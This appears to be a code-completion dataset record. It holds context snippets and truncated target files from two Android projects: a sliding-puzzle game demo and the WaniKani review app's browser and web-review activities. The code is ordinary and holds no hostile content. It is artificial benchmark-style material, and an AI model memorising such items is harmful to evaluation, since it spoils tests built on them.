void recycleUIHandler() {\n if (null != mUIHandler) {\n mUIHandler.removeCallbacksAndMessages(null);\n }\n }\n\n /**\n * 子类在使用handleWorkerMessage前需要调用initWorkerHandler方法来初始化mWorkerHandler和mHandlerThread对象\n *\n * @param name\n */\n public void initWorkerHandler(String name) {\n if (mHandlerThread == null && mWorkerHandler == null) {\n mHandlerThread = new HandlerThread(name);\n mHandlerThread.start();\n mWorkerHandler = new WorkerHandler(mHandlerThread.getLooper(), this);\n } else {\n LogUtils.e(\"initWorkerHandler is called ,don't called again!\");\n }\n }\n\n public void initWorkerHandler() {\n initWorkerHandler(\"workThread\");\n }\n\n /**\n * UIHandler 未初始化,统一调用此方法\n */\n public void uiHandlerNotInit() {\n showToastShort(\"UIHandler 未初始化\");\n LogUtils.e(\"UIHandler 未初始化\");\n }\n\n /**\n * 获得mWorkerHandler,子线程的WorkerHandler\n *\n * @return\n */\n public WorkerHandler getWorkerHandler() {\n if (null == mWorkerHandler) {\n LogUtils.e(\"获取WorkerHandler实例为空\");\n }\n return mWorkerHandler;\n }\n\n /**\n * 处理WorkerHandler收到的消息,一般子类需要重写该方法\n *\n * @param msg\n */\n public void handleWorkerMessage(Message msg) {\n // super 一般不做处理,如果有共用的可以考虑在此处理\n }\n\n // 目前只提供两个sendWorkerMessage的方法,如果需要使用其他handler发送消息的方法getmUIHandler后处理\n public void sendWorkderMessage(Message msg) {\n if (null != mWorkerHandler) {\n mWorkerHandler.sendMessage(msg);\n } else {\n workerHandlerNotInit();\n }\n }\n\n public void sendWorkerMessageEmpty(int what) {\n if (null != mWorkerHandler) {\n mWorkerHandler.sendEmptyMessage(what);\n } else {\n workerHandlerNotInit();\n }\n }\n\n /**\n * WorkerHandler 未初始化,统一调用此方法\n */\n private void workerHandlerNotInit() {\n showToastShort(\"WorkerHandler 未初始化\");\n LogUtils.e(\"WorkerHandler 未初始化\");\n }\n\n public void recycleWorkerHandler() {\n if (null != mHandlerThread && null != mWorkerHandler) {\n mHandlerThread.quit();\n mWorkerHandler.removeCallbacksAndMessages(null);\n }\n }\n\n public static class UIHandler extends Handler {\n WeakReference<BaseActivity> weakReference;\n\n /**\n * 防止 Handler 泄露,需要定义成内部静态类,Handler 也是造成内在泄露的一个重要的源头,主要 Handler 属于 TLS(Thread Local Storage)变量,生命周期和 Activity 是不一致的,\n * Handler 引用 Activity 会存在内在泄露\n *\n * @param activity\n */\n public UIHandler(BaseActivity activity) {\n super(Looper.getMainLooper());\n this.weakReference = new WeakReference<BaseActivity>(activity);\n }\n\n @Override\n public void handleMessage(Message msg) {\n super.handleMessage(msg);\n final BaseActivity activity = weakReference.get();\n if (null != activity) {\n activity.handleUIMessage(msg);\n }\n }\n }\n\n /**\n * 子线程Handler,用作耗时处理,替换AsyncTask做后台请求\n */\n public static class WorkerHandler extends Handler {\n WeakReference<BaseActivity> weakReference;\n\n public WorkerHandler(Looper looper, BaseActivity activity) {\n super(looper);\n this.weakReference = new WeakReference<BaseActivity>(activity);\n }\n\n @Override\n public void handleMessage(Message msg) {\n super.handleMessage(msg);\n final BaseActivity activity = weakReference.get();\n if (null != activity) {\n activity.handleWorkerMessage(msg);\n }\n }\n }\n}", "public class GridItemsAdapter extends BaseAdapter {\n\n // 映射List\n private List<Bitmap> mBitmapItemLists;\n private Context mContext;\n\n public GridItemsAdapter(Context mContext, List<Bitmap> picList) {\n this.mContext = mContext;\n this.mBitmapItemLists = picList;\n }\n\n @Override\n public int getCount() {\n return mBitmapItemLists.size();\n }\n\n @Override\n public Object getItem(int position) {\n return mBitmapItemLists.get(position);\n }\n\n @Override\n public long getItemId(int position) {\n return position;\n }\n\n @Override\n public View getView(int position, View convertView, ViewGroup parent) {\n ImageView iv_pic_item = null;\n if (convertView == null) {\n iv_pic_item = new ImageView(mContext);\n // 设置布局 图片\n iv_pic_item.setLayoutParams(new GridView.LayoutParams(mBitmapItemLists.get(position).getWidth(), mBitmapItemLists.get(position).getHeight()));\n // 设置显示比例类型\n iv_pic_item.setScaleType(ImageView.ScaleType.FIT_CENTER);\n } else {\n iv_pic_item = (ImageView) convertView;\n }\n iv_pic_item.setImageBitmap(mBitmapItemLists.get(position));\n return iv_pic_item;\n }\n}", "public class ItemBean {\n\n // Item的Id\n private int mItemId;\n // bitmap的Id\n private int mBitmapId;\n // mBitmap\n private Bitmap mBitmap;\n\n public ItemBean() {\n }\n\n public ItemBean(int mItemId, int mBitmapId, Bitmap mBitmap) {\n this.mItemId = mItemId;\n this.mBitmapId = mBitmapId;\n this.mBitmap = mBitmap;\n }\n\n public int getItemId() {\n return mItemId;\n }\n\n public void setItemId(int mItemId) {\n this.mItemId = mItemId;\n }\n\n public int getBitmapId() {\n return mBitmapId;\n }\n\n public void setBitmapId(int mBitmapId) {\n this.mBitmapId = mBitmapId;\n }\n\n public Bitmap getBitmap() {\n return mBitmap;\n }\n\n public void setBitmap(Bitmap mBitmap) {\n this.mBitmap = mBitmap;\n }\n\n}", "public class GameUtil {\n\n // 游戏信息单元格Bean\n public static List<ItemBean> mItemBeans = new ArrayList<ItemBean>();\n // 空格单元格\n public static ItemBean mBlankItemBean = new ItemBean();\n\n /**\n * 判断点击的Item是否可移动\n *\n * @param position position\n * @return 能否移动\n */\n public static boolean isMoveable(int position) {\n int type = PuzzleLoginActivity.TYPE;\n // 获取空格Item\n int blankId = GameUtil.mBlankItemBean.getItemId() - 1;\n // 不同行 相差为type\n if (Math.abs(blankId - position) == type) {\n return true;\n }\n // 相同行 相差为1\n return (blankId / type == position / type) && Math.abs(blankId - position) == 1;\n }\n\n /**\n * 交换空格与点击Item的位置\n *\n * @param from 交换图\n * @param blank 空白图\n */\n public static void swapItems(ItemBean from, ItemBean blank) {\n ItemBean tempItemBean = new ItemBean();\n // 交换BitmapId\n tempItemBean.setBitmapId(from.getBitmapId());\n from.setBitmapId(blank.getBitmapId());\n blank.setBitmapId(tempItemBean.getBitmapId());\n // 交换Bitmap\n tempItemBean.setBitmap(from.getBitmap());\n from.setBitmap(blank.getBitmap());\n blank.setBitmap(tempItemBean.getBitmap());\n // 设置新的Blank\n GameUtil.mBlankItemBean = from;\n }\n\n /**\n * 生成随机的Item\n */\n public static void getPuzzleGenerator() {\n int index = 0;\n // 随机打乱顺序\n for (int i = 0; i < mItemBeans.size(); i++) {\n index = (int) (Math.random() *\n PuzzleLoginActivity.TYPE * PuzzleLoginActivity.TYPE);\n swapItems(mItemBeans.get(index), GameUtil.mBlankItemBean);\n }\n List<Integer> data = new ArrayList<Integer>();\n for (int i = 0; i < mItemBeans.size(); i++) {\n data.add(mItemBeans.get(i).getBitmapId());\n }\n // 判断生成是否有解\n if (canSolve(data)) {\n return;\n } else {\n getPuzzleGenerator();\n }\n }\n\n /**\n * 是否拼图成功\n *\n * @return 是否拼图成功\n */\n public static boolean isSuccess() {\n for (ItemBean tempBean : GameUtil.mItemBeans) {\n if (tempBean.getBitmapId() != 0 && (tempBean.getItemId()) == tempBean.getBitmapId()) {\n continue;\n } else if (tempBean.getBitmapId() == 0 && tempBean.getItemId() == PuzzleLoginActivity.TYPE * PuzzleLoginActivity.TYPE) {\n continue;\n } else {\n return false;\n }\n }\n return true;\n }\n\n /**\n * 该数据是否有解\n *\n * @param data 拼图数组数据\n * @return 该数据是否有解\n */\n public static boolean canSolve(List<Integer> data) {\n // 获取空格Id\n int blankId = GameUtil.mBlankItemBean.getItemId();\n // 可行性原则\n if (data.size() % 2 == 1) {\n return getInversions(data) % 2 == 0;\n } else {\n // 从底往上数,空格位于奇数行\n if (((blankId - 1) / PuzzleLoginActivity.TYPE) % 2 == 1) {\n return getInversions(data) % 2 == 0;\n } else {\n // 从底往上数,空位位于偶数行\n return getInversions(data) % 2 == 1;\n }\n }\n }\n\n /**\n * 计算倒置和算法\n *\n * @param data 拼图数组数据\n * @return 该序列的倒置和\n */\n public static int getInversions(List<Integer> data) {\n int inversions = 0;\n int inversionCount = 0;\n for (int i = 0; i < data.size(); i++) {\n for (int j = i + 1; j < data.size(); j++) {\n int index = data.get(i);\n if (data.get(j) != 0 && data.get(j) < index) {\n inversionCount++;\n }\n }\n inversions += inversionCount;\n inversionCount = 0;\n }\n return inversions;\n }\n}", "public class ImagesUtil {\n\n public ItemBean itemBean;\n\n /**\n * 切图、初始状态(正常顺序)\n *\n * @param type 游戏种类\n * @param picSelected 选择的图片\n * @param context context\n */\n public void createInitBitmaps(int type, Bitmap picSelected, Context context) {\n Bitmap bitmap = null;\n List<Bitmap> bitmapItems = new ArrayList<Bitmap>();\n // 每个Item的宽高\n int itemWidth = picSelected.getWidth() / type;\n int itemHeight = picSelected.getHeight() / type;\n for (int i = 1; i <= type; i++) {\n for (int j = 1; j <= type; j++) {\n bitmap = Bitmap.createBitmap(picSelected, (j - 1) * itemWidth, (i - 1) * itemHeight, itemWidth, itemHeight);\n bitmapItems.add(bitmap);\n itemBean = new ItemBean((i - 1) * type + j, (i - 1) * type + j, bitmap);\n GameUtil.mItemBeans.add(itemBean);\n }\n }\n // 保存最后一个图片在拼图完成时填充\n PuzzleLoginActivity.mLastBitmap = bitmapItems.get(type * type - 1);\n // 设置最后一个为空Item\n bitmapItems.remove(type * type - 1);\n GameUtil.mItemBeans.remove(type * type - 1);\n Bitmap blankBitmap = BitmapFactory.decodeResource(context.getResources(), R.mipmap.game_puzzle_blank);\n blankBitmap = Bitmap.createBitmap(blankBitmap, 0, 0, itemWidth, itemHeight);\n\n bitmapItems.add(blankBitmap);\n GameUtil.mItemBeans.add(new ItemBean(type * type, 0, blankBitmap));\n GameUtil.mBlankItemBean = GameUtil.mItemBeans.get(type * type - 1);\n }\n\n /**\n * 处理图片 放大、缩小到合适位置\n *\n * @param newWidth 缩放后Width\n * @param newHeight 缩放后Height\n * @param bitmap bitmap\n * @return bitmap\n */\n public Bitmap resizeBitmap(float newWidth, float newHeight, Bitmap bitmap) {\n Matrix matrix = new Matrix();\n matrix.postScale(newWidth / bitmap.getWidth(), newHeight / bitmap.getHeight());\n Bitmap newBitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true);\n return newBitmap;\n }\n}", "public class ScreenUtil {\n\n /**\n * 获取屏幕相关参数\n *\n * @param context context\n * @return DisplayMetrics 屏幕宽高\n */\n public static DisplayMetrics getScreenSize(Context context) {\n DisplayMetrics metrics = new DisplayMetrics();\n WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n Display display = wm.getDefaultDisplay();\n display.getMetrics(metrics);\n return metrics;\n }\n\n /**\n * 获取屏幕density\n *\n * @param context context\n * @return density 屏幕density\n */\n public static float getDeviceDensity(Context context) {\n DisplayMetrics metrics = new DisplayMetrics();\n WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);\n wm.getDefaultDisplay().getMetrics(metrics);\n return metrics.density;\n }\n}" ]
import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Bundle; import android.os.Message; import android.view.View; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.AdapterView; import android.widget.Button; import android.widget.GridView; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import com.bruce.demo.R; import com.bruce.demo.base.BaseActivity; import com.bruce.demo.studydata.game.gamepuzzle.adapter.GridItemsAdapter; import com.bruce.demo.studydata.game.gamepuzzle.bean.ItemBean; import com.bruce.demo.studydata.game.gamepuzzle.util.GameUtil; import com.bruce.demo.studydata.game.gamepuzzle.util.ImagesUtil; import com.bruce.demo.studydata.game.gamepuzzle.util.ScreenUtil; import com.bruceutils.utils.LogUtils; import java.io.File; import java.util.ArrayList; import java.util.List; import java.util.Timer; import java.util.TimerTask; import butterknife.Bind; import butterknife.ButterKnife; import butterknife.OnClick; import butterknife.OnItemClick;
/* * BruceHurrican * Copyright (c) 2016. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This document is Bruce's individual learning the android demo, wherein the use of the code from the Internet, only to use as a learning exchanges. * And where any person can download and use, but not for commercial purposes. * Author does not assume the resulting corresponding disputes. * If you have good suggestions for the code, you can contact BurrceHurrican@foxmail.com * 本文件为Bruce's个人学习android的demo, 其中所用到的代码来源于互联网,仅作为学习交流使用。 * 任和何人可以下载并使用, 但是不能用于商业用途。 * 作者不承担由此带来的相应纠纷。 * 如果对本代码有好的建议,可以联系BurrceHurrican@foxmail.com */ package com.bruce.demo.studydata.game.gamepuzzle; /** * Created by BruceHurrican on 2016/4/9. */ public class PuzzleLoginActivity extends BaseActivity { // 拼图完成时显示的最后一个图片 public static Bitmap mLastBitmap; // 设置为N*N显示 public static int TYPE = 2; // 步数显示 public static int COUNT_INDEX = 0; // 计时显示 public static int TIMER_INDEX = 0; @Bind(R.id.tv_puzzle_main_counts) TextView tv_puzzle_main_counts; @Bind(R.id.tv_puzzle_main_time) TextView tv_puzzle_main_time; @Bind(R.id.ll_puzzle_main_spinner) LinearLayout ll_puzzle_main_spinner; @Bind(R.id.btn_puzzle_main_img) Button btn_puzzle_main_img; @Bind(R.id.btn_puzzle_main_restart) Button btn_puzzle_main_restart; @Bind(R.id.btn_puzzle_main_back) Button btn_puzzle_main_back; @Bind(R.id.ll_puzzle_main_btns) LinearLayout ll_puzzle_main_btns; @Bind(R.id.gv_puzzle_main_detail) GridView gv_puzzle_main_detail; @Bind(R.id.rl_puzzle_main_main_layout) RelativeLayout rl_puzzle_main_main_layout; // 选择的图片 private Bitmap mPicSelected; private int mResId; private String mPicPath; private ImageView mImageView; // 显示步数 private TextView mTvPuzzleMainCounts; // 计时器 private TextView mTvTimer; // 切图后的图片 private List<Bitmap> mBitmapItemLists = new ArrayList<Bitmap>(); // GridView适配器
private GridItemsAdapter mAdapter;
1
xiprox/WaniKani-for-Android
WaniKani/src/tr/xip/wanikani/content/notification/NotificationPublisher.java
[ "public class Browser extends AppCompatActivity {\n\n public static final String ARG_ACTION = \"action\";\n public static final String ARG_ITEM = \"item\";\n public static final String ARG_ITEM_TYPE = \"itemtype\";\n\n public static final String ACTION_ITEM_DETAILS = \"itemdetails\";\n public static final String ACTION_LESSON = \"lesson\";\n public static final String ACTION_REVIEW = \"reviews\";\n public static final String ACTION_ACCOUNT_SETTINGS = \"account_settings\";\n\n public static final String WANIKANI_BASE_URL = \"https://www.wanikani.com\";\n public static final String LESSON_URL = WANIKANI_BASE_URL + \"/lesson/session\";\n public static final String REVIEW_URL = WANIKANI_BASE_URL + \"/review/session\";\n public static final String RADICAL_URL = WANIKANI_BASE_URL + \"/radicals/\";\n public static final String KANJI_URL = WANIKANI_BASE_URL + \"/kanji/\";\n public static final String VOCABULARY_URL = WANIKANI_BASE_URL + \"/vocabulary/\";\n public static final String ACCOUNT_SETTINGS_URL = WANIKANI_BASE_URL + \"/account\";\n\n ActionBar mActionBar;\n\n WebView mWebview;\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_browser);\n\n\n mActionBar = getSupportActionBar();\n mActionBar.setDisplayHomeAsUpEnabled(true);\n\n mWebview = (WebView) findViewById(R.id.browser_webview);\n\n mWebview.getSettings().setJavaScriptEnabled(true);\n\n mWebview.setWebViewClient(new WebViewClient() {\n public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {\n Log.e(\"WANIKANI BROWSER\", \"Error code: \" + errorCode + \"; Description: \" + description + \"; Url: \" + failingUrl);\n }\n });\n\n Intent intent = getIntent();\n String action = intent.getStringExtra(ARG_ACTION);\n BaseItem.ItemType itemType = (BaseItem.ItemType) intent.getSerializableExtra(ARG_ITEM_TYPE);\n String item = intent.getStringExtra(ARG_ITEM);\n\n if (action.equals(ACTION_LESSON)) {\n /* Lessons have moved to WebReviewActivity */\n }\n if (action.equals(ACTION_REVIEW)) {\n /* Reviews have moved to WebReviewActivity */\n }\n\n if (action.equals(ACTION_ITEM_DETAILS)) {\n if (itemType == BaseItem.ItemType.RADICAL) {\n mWebview.loadUrl(RADICAL_URL + WordUtils.uncapitalize(item));\n mActionBar.setTitle(item);\n }\n if (itemType == BaseItem.ItemType.KANJI) {\n mWebview.loadUrl(KANJI_URL + item);\n mActionBar.setTitle(item);\n }\n if (itemType == BaseItem.ItemType.VOCABULARY) {\n mWebview.loadUrl(VOCABULARY_URL + item);\n mActionBar.setTitle(item);\n }\n }\n\n if (action.equals(ACTION_ACCOUNT_SETTINGS)) {\n mWebview.loadUrl(ACCOUNT_SETTINGS_URL);\n mActionBar.setTitle(R.string.title_account_settings);\n }\n }\n\n private void setOrientation(String orientation) {\n if (orientation.equals(\"Portrait\"))\n setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);\n else if (orientation.equals(\"Landscape\"))\n setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);\n else setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_SENSOR);\n }\n\n @Override\n public boolean onSupportNavigateUp() {\n super.onBackPressed();\n return true;\n }\n}", "public class MainActivity extends AppCompatActivity\n implements NavigationDrawerFragment.NavigationDrawerCallbacks {\n\n public static final String STATE_ACTIONBAR_TITLE = \"action_bar_title\";\n\n public static boolean isFirstSyncDashboardDone = false;\n public static boolean isFirstSyncProfileDone = false;\n\n public static CharSequence mTitle;\n\n ActionBar mActionBar;\n Toolbar mToolbar;\n\n private NavigationDrawerFragment mNavigationDrawerFragment;\n\n @Override\n public void onResume() {\n super.onResume();\n }\n\n @Override\n public void onPause() {\n super.onPause();\n }\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n\n if (PrefManager.isFirstLaunch()) {\n startActivity(new Intent(this, FirstTimeActivity.class));\n finish();\n } else {\n setContentView(R.layout.activity_main);\n handleNotification(getIntent());\n\n mToolbar = (Toolbar) findViewById(R.id.toolbar);\n setSupportActionBar(mToolbar);\n\n mActionBar = getSupportActionBar();\n\n if (savedInstanceState != null) {\n mTitle = savedInstanceState.getString(STATE_ACTIONBAR_TITLE);\n mActionBar.setTitle(mTitle.toString());\n }\n\n mNavigationDrawerFragment = (NavigationDrawerFragment)\n getSupportFragmentManager().findFragmentById(R.id.navigation_drawer);\n\n mNavigationDrawerFragment.setUp(\n R.id.navigation_drawer_holder,\n (DrawerLayout) findViewById(R.id.drawer_layout));\n }\n }\n\n @Override\n public void onNavigationDrawerItemSelected(int position) {\n FragmentManager fragmentManager = getSupportFragmentManager();\n Fragment fragment = null;\n\n switch (position) {\n case 0:\n fragment = new DashboardFragment();\n mTitle = getString(R.string.title_dashboard);\n break;\n case 1:\n fragment = new RadicalsFragment();\n mTitle = getString(R.string.title_radicals);\n break;\n case 2:\n fragment = new KanjiFragment();\n mTitle = getString(R.string.title_kanji);\n break;\n case 3:\n fragment = new VocabularyFragment();\n mTitle = getString(R.string.title_vocabulary);\n break;\n }\n\n if (fragment != null)\n fragmentManager.beginTransaction()\n .replace(R.id.container, fragment)\n .commit();\n }\n\n public void restoreActionBar() {\n mActionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_STANDARD);\n mActionBar.setTitle(mTitle.toString());\n }\n\n public Toolbar getToolbar() {\n return mToolbar;\n }\n\n @Override\n public boolean onCreateOptionsMenu(Menu menu) {\n if (!mNavigationDrawerFragment.isDrawerOpen()) {\n getMenuInflater().inflate(R.menu.global, menu);\n restoreActionBar();\n return true;\n }\n return super.onCreateOptionsMenu(menu);\n }\n\n @Override\n public boolean onOptionsItemSelected(MenuItem item) {\n int id = item.getItemId();\n switch (id) {\n\n }\n return super.onOptionsItemSelected(item);\n }\n\n @Override\n protected void onActivityResult(int requestCode, int resultCode, Intent data) {\n super.onActivityResult(requestCode, resultCode, data);\n\n if (requestCode == AvailableCard.BROWSER_REQUEST) {\n Intent intent = new Intent(BroadcastIntents.SYNC());\n LocalBroadcastManager.getInstance(this).sendBroadcast(intent);\n }\n }\n\n @Override\n protected void onSaveInstanceState(Bundle outState) {\n super.onSaveInstanceState(outState);\n outState.putString(STATE_ACTIONBAR_TITLE, mTitle.toString());\n }\n\n private void handleNotification(Intent intent) {\n if (intent == null || intent.getExtras() == null) return;\n\n Bundle bundle = getIntent().getExtras();\n\n String idString = bundle.getString(Notification.DATA_NOTIFICATION_ID);\n\n if (idString == null) return; // Return if no id - basically not a notification Intent\n\n int id = Integer.valueOf(idString);\n String title = bundle.getString(Notification.DATA_NOTIFICATION_TITLE);\n String shortText = bundle.getString(Notification.DATA_NOTIFICATION_SHORT_TEXT);\n String text = bundle.getString(Notification.DATA_NOTIFICATION_TEXT);\n String image = bundle.getString(Notification.DATA_NOTIFICATION_IMAGE);\n String actionUrl = bundle.getString(Notification.DATA_NOTIFICATION_ACTION_URL);\n String actionText = bundle.getString(Notification.DATA_NOTIFICATION_ACTION_TEXT);\n\n DatabaseManager.saveNotification(new Notification(\n id,\n title,\n shortText,\n text,\n image,\n actionUrl,\n actionText,\n false\n ));\n\n LocalBroadcastManager.getInstance(this).sendBroadcast(new Intent(BroadcastIntents.NOTIFICATION()));\n }\n}", "public class WebReviewActivity extends AppCompatActivity {\n\n /**\n * This class is barely a container of all the strings that should match with the\n * WaniKani portal. Hopefully none of these will ever be changed, but in case\n * it does, here is where to look for.\n */\n public static class WKConfig {\n\n /** HTML id of the textbox the user types its answer in (reviews, client-side) */\n static final String ANSWER_BOX = \"user-response\";\n\n /** HTML id of the textbox the user types its answer in (lessons) */\n static final String LESSON_ANSWER_BOX_JP = \"translit\";\n\n /** HTML id of the textbox the user types its answer in (lessons) */\n static final String LESSON_ANSWER_BOX_EN = \"lesson_user_response\";\n\n /** HTML id of the submit button */\n static final String SUBMIT_BUTTON = \"option-submit\";\n\n /** HTML id of the lessons review form */\n static final String LESSONS_REVIEW_FORM = \"new_lesson\";\n\n /** HTML id of the lessons quiz */\n static final String QUIZ = \"quiz\";\n\n /** HTML id of the start quiz button (modal) */\n static final String QUIZ_BUTTON1 = \"quiz-ready-continue\";\n\n /** HTML id of the start quiz button (bottom green arrow) */\n static final String QUIZ_BUTTON2 = \"active-quiz\";\n\n /** Any object on the lesson pages */\n static final String LESSONS_OBJ = \"nav-lesson\";\n\n /** Reviews div */\n static final String REVIEWS_DIV = \"reviews\";\n\n /** HTML id of character div holding (kanji/radical/vocab) being reviewed. @Aralox **/\n static final String CHARACTER_DIV = \"character\";\n\n /** JQuery Element (kanji/radical/vocab) being reviewed. Assumed only 1 child span. @Aralox **/\n static final String CHARACTER_SPAN_JQ = \"#\"+CHARACTER_DIV+\">span\";\n\n /** HTML id of item-info panel. @Aralox **/\n static final String ITEM_INFO_DIV = \"item-info\";\n\n /** HTML id of item-info button. @Aralox **/\n static final String ITEM_INFO_LI = \"option-item-info\";\n };\n\n /**\n * The listener attached to the ignore button tip message.\n * When the user taps the ok button, we write on the property\n * that it has been acknowleged, so it won't show up any more.\n */\n private class OkListener implements DialogInterface.OnClickListener {\n\n @Override\n public void onClick (DialogInterface ifc, int which)\n {\n PrefManager.setIgnoreButtonMessage(false);\n }\n }\n\n /**\n * The listener attached to the hw accel tip message.\n * When the user taps the ok button, we write on the property\n * that it has been acknowleged, so it won't show up any more.\n */\n private class AccelOkListener implements DialogInterface.OnClickListener {\n\n @Override\n public void onClick (DialogInterface ifc, int which)\n {\n PrefManager.setHWAccelMessage(false);\n }\n }\n\n /**\n * The listener that receives events from the mute buttons.\n */\n private class MuteListener implements View.OnClickListener {\n\n @Override\n public void onClick (View w)\n {\n PrefManager.toggleMute();\n applyMuteSettings ();\n }\n }\n\n /**\n * The listener that receives events from the single buttons.\n */\n private class SingleListener implements View.OnClickListener {\n\n @Override\n public void onClick (View w)\n {\n single = !single;\n applySingleSettings ();\n }\n }\n\n /**\n * Web view controller. This class is used by @link WebView to tell whether\n * a link should be opened inside of it, or an external browser needs to be invoked.\n * Currently, I will let all the pages inside the <code>/review</code> namespace\n * to be opened here. Theoretically, it could even be stricter, and use\n * <code>/review/session</code>, but that would be prevent the final summary\n * from being shown. That page is useful, albeit not as integrated with the app as\n * the other pages.\n */\n private class WebViewClientImpl extends WebViewClient {\n\n /**\n * Called to check whether a link should be opened in the view or not.\n * We also display the progress bar.\n * \t@param view the web view\n * @url the URL to be opened\n */\n @Override\n public boolean shouldOverrideUrlLoading (WebView view, String url)\n {\n Intent intent;\n\n if (shouldOpenExternal (url)) {\n intent = new Intent (Intent.ACTION_VIEW);\n intent.setData (Uri.parse (url));\n startActivity (intent);\n\n return true;\n }\n\n return false;\n }\n\n /**\n * Tells if we should spawn an external browser\n * @param url the url we are opening\n * \t@return true if we should\n */\n public boolean shouldOpenExternal (String url)\n {\n String curl;\n\n if (!url.contains (\"wanikani.com\") && !download)\n return true;\n\n curl = wv.getUrl ();\n if (curl == null)\n return false;\n\n\t \t/* Seems the only portable way to do this */\n if (curl.contains (\"www.wanikani.com/lesson\") ||\n curl.contains (\"www.wanikani.com/review\")) {\n\n // @Aralox added 'vocabulary' so that vocab examples in lessons can be opened externally.\n if (url.contains (\"/kanji/\") || url.contains (\"/radicals/\") || url.contains (\"/vocabulary/\"))\n return true;\n\n }\n\n return false;\n }\n\n /**\n * Called when something bad happens while accessing the resource.\n * Show the splash screen and give some explanation (based on the <code>description</code>\n * string).\n * \t@param view the web view\n * @param errorCode HTTP error code\n * @param description an error description\n * @param failingUrl error\n */\n public void onReceivedError (WebView view, int errorCode, String description, String failingUrl)\n {\n String s;\n\n s = getResources ().getString (R.string.fmt_web_review_error, description);\n splashScreen (s);\n bar.setVisibility (View.GONE);\n }\n\n @Override\n public void onPageStarted (WebView view, String url, Bitmap favicon)\n {\n bar.setVisibility (View.VISIBLE);\n keyboard.reset ();\n }\n\n /**\n * Called when a page finishes to be loaded. We hide the progress bar\n * and run the initialization javascript that shows the keyboard, if needed.\n * In addition, if this is the initial page, we check whether Viet has\n * deployed the client-side review system\n */\n @Override\n public void onPageFinished (WebView view, String url)\n {\n ExternalFramePlacer.Dictionary dict;\n\n bar.setVisibility (View.GONE);\n\n if (url.startsWith (\"http\")) {\n\n wv.js (JS_INIT_KBD);\n if (PrefManager.getExternalFramePlacer()) {\n dict = PrefManager.getExternalFramePlacerDictionary();\n ExternalFramePlacer.run (wv, dict);\n }\n\n if (PrefManager.getPartOfSpeech())\n PartOfSpeech.enter(WebReviewActivity.this, wv, url);\n }\n }\n }\n\n /**\n * An additional webclient, that receives a few callbacks that a simple\n * {@link WebChromeClient} does not intecept.\n */\n private class WebChromeClientImpl extends WebChromeClient {\n\n /**\n * Called as the download progresses. We update the progress bar.\n * @param view the web view\n * @param progress progress percentage\n */\n @Override\n public void onProgressChanged (WebView view, int progress)\n {\n bar.setProgress (progress);\n }\n };\n\n /**\n * A small job that hides, shows or iconizes the keyboard. We need to implement this\n * here because {@link WebReviewActivity.WKNKeyboard} gets called from a\n * javascript thread, which is not necessarily an UI thread.\n * The constructor simply calls <code>runOnUIThread</code> to make sure\n * we hide/show the views from the correct context.\n */\n private class ShowHideKeyboard implements Runnable {\n\n /** New state to enter */\n KeyboardStatus kbstatus;\n\n /**\n * Constructor. It also takes care to schedule the invokation\n * on the UI thread, so all you have to do is just to create an\n * instance of this object\n * @param kbstatus the new keyboard status to enter\n */\n ShowHideKeyboard (KeyboardStatus kbstatus)\n {\n this.kbstatus = kbstatus;\n\n runOnUiThread (this);\n }\n\n /**\n * Hides/shows the keyboard. Invoked by the UI thread.\n */\n public void run ()\n {\n kbstatus.apply (WebReviewActivity.this);\n if (kbstatus.isRelevantPage ())\n reviewsSession ();\n }\n\n private void reviewsSession ()\n {\n CookieSyncManager.getInstance ().sync ();\n }\n\n }\n\n /**\n * This class implements the <code>wknKeyboard</code> javascript object.\n * It implements the @link {@link #show} and {@link #hide} methods.\n */\n private class WKNKeyboard {\n\n /**\n * Called by javascript when the keyboard should be shown.\n */\n @JavascriptInterface\n public void show ()\n {\n new ShowHideKeyboard (KeyboardStatus.REVIEWS_MAXIMIZED);\n }\n\n /**\n * Called by javascript when the keyboard should be shown, using\n * new lessons layout.\n */\n @JavascriptInterface\n public void showLessonsNew ()\n {\n new ShowHideKeyboard (KeyboardStatus.LESSONS_MAXIMIZED_NEW);\n }\n\n /**\n * Called by javascript when the keyboard should be hidden.\n */\n @JavascriptInterface\n public void hide ()\n {\n new ShowHideKeyboard (KeyboardStatus.INVISIBLE);\n }\n }\n\n /**\n * Keyboard visiblity status.\n */\n enum KeyboardStatus {\n\n /** Keyboard visible, all keys visible */\n REVIEWS_MAXIMIZED {\n public void apply (WebReviewActivity wav) { wav.show (this); }\n\n public PrefManager.Keyboard getKeyboard (WebReviewActivity wav)\n {\n return PrefManager.getReviewsKeyboard();\n }\n\n public boolean canMute ()\n {\n return true;\n }\n\n public boolean canDoSingle ()\n {\n return true;\n }\n },\n\n /** Keyboard visible, all keys but ENTER visible */\n LESSONS_MAXIMIZED_NEW {\n public void apply (WebReviewActivity wav) { wav.show (this); }\n\n public PrefManager.Keyboard getKeyboard (WebReviewActivity wav)\n {\n return PrefManager.getReviewsKeyboard();\n }\n\n public boolean canMute ()\n {\n return true;\n }\n },\n\n /** Keyboard invisible */\n INVISIBLE {\n public void apply (WebReviewActivity wav) { wav.hide (this); }\n\n public boolean isRelevantPage () { return false; }\n\n public PrefManager.Keyboard getKeyboard (WebReviewActivity wav)\n {\n return PrefManager.Keyboard.NATIVE;\n }\n\n public boolean backIsSafe () { return true; }\n };\n\n public abstract void apply (WebReviewActivity 